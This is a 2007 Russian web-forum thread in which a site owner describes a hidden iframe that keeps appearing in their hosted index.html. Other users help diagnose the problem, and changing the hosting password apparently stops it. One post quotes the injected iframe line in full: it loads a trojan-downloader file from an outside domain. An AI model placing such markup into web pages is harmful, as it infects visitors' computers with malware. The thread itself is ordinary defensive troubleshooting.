| Автор | Сообщение |
pacxa
участник
зарегистрирован:
17.09.2006
сообщений: 147 |
| написано: 12 апреля 2007г. 19:49:16 |
ответить • цитата • правка • инфо • #1 |
Мой сайт атакован каким-то трояном  , судя по всему, проблема не тривиальная, не могли бы вы подсказать форумы, где можно поспрашивать по этому поводу. |
|
Hrenvam
зарегистрирован:
09.06.2005
сообщений: 938 | |
pacxa
участник
зарегистрирован:
17.09.2006
сообщений: 147 |
| написано: 12 апреля 2007г. 23:39:50 |
ответить • цитата • правка • инфо • #3 |
Спрашивал там. Такая строчка добавляется в код каким-то образом:
‹iframe name='counter' src='http://mystabcounter.info/index2.php' height='16' width='16' frameborder='0' scrolling='no'›‹/iframe›
Данный код подгружает "коняшку" с другого сайта.
При заходе на мой сайт антивирус пишет , что файл http://mystabcounter.info/file.jpg
заражен: модифицированный Win32/TrojanDownloader.Ani.Gen троян
он его не лечит не удаляет, может только занести в карантин и при последующем заходе на сайт опять
выскакивает это сообщение. |
|
Hrenvam
зарегистрирован:
09.06.2005
сообщений: 938 |
| написано: 12 апреля 2007г. 23:45:49 |
ответить • цитата • правка • инфо • #4 |
Куда добавляется, в скрипт или в обычный html ? Во все страницы ? В каком месте, в произвольном или в начале/конце страницы ? Хостинг платный ? |
|
pacxa
участник
зарегистрирован:
17.09.2006
сообщений: 147 |
| написано: 12 апреля 2007г. 23:48:13 |
ответить • цитата • правка • инфо • #5 |
в обычный html, в одну только вроде, не в конце и не в начале, хостинг платный. |
|
Hrenvam
зарегистрирован:
09.06.2005
сообщений: 938 |
| написано: 12 апреля 2007г. 23:57:30 |
ответить • цитата • правка • инфо • #6 |
В index.html вставляется ? Скрипты есть какие-нибуть на хосте или только статический html ? Т.е., ты заливаешь нормальную страничку, а на хостинге в ней сразу появляется iframe ? |
|
pacxa
участник
зарегистрирован:
17.09.2006
сообщений: 147 |
| написано: 13 апреля 2007г. 00:00:53 |
ответить • цитата • правка • инфо • #7 |
В index.html. Скрипт- для выпадающего меню только. Я заливаю нормальную страничку, а на хостинге в ней появляется iframe, но не сразу. Сменю пароли на хостинг, для начала. |
|
Hrenvam
зарегистрирован:
09.06.2005
сообщений: 938 |
| написано: 13 апреля 2007г. 00:05:34 |
ответить • цитата • правка • инфо • #8 |
Скрипт- для выпадающего меню
Это ява-скрипт ? Т.е. скриптов, исполняемых на стороне сервера нет ? Поставь чмод 444 на страничку для эксперимента.
При перезагрузке страницы положение этого фрейма меняется? |
|
pacxa
участник
зарегистрирован:
17.09.2006
сообщений: 147 |
| написано: 13 апреля 2007г. 00:15:51 |
ответить • цитата • правка • инфо • #9 |
Не могу сейчас проверить, так как index.html обновил, а появляется iframe не сразу. Как появится, попробую. Да, только Java. |
|
5ergi0
Постоянный участник
зарегистрирован:
10.06.2005
сообщений: 2903
откуда: Москва |
| написано: 14 апреля 2007г. 11:19:55 |
ответить • цитата • правка • инфо • #10 |
Кто хостер? Не VH случайно? А то было такое не так давно... |
|
pacxa
участник
зарегистрирован:
17.09.2006
сообщений: 147 |
| написано: 14 апреля 2007г. 12:14:14 |
ответить • цитата • правка • инфо • #11 |
Нет, мобихост какой-то. После смены пароля пока все нормально. |
|
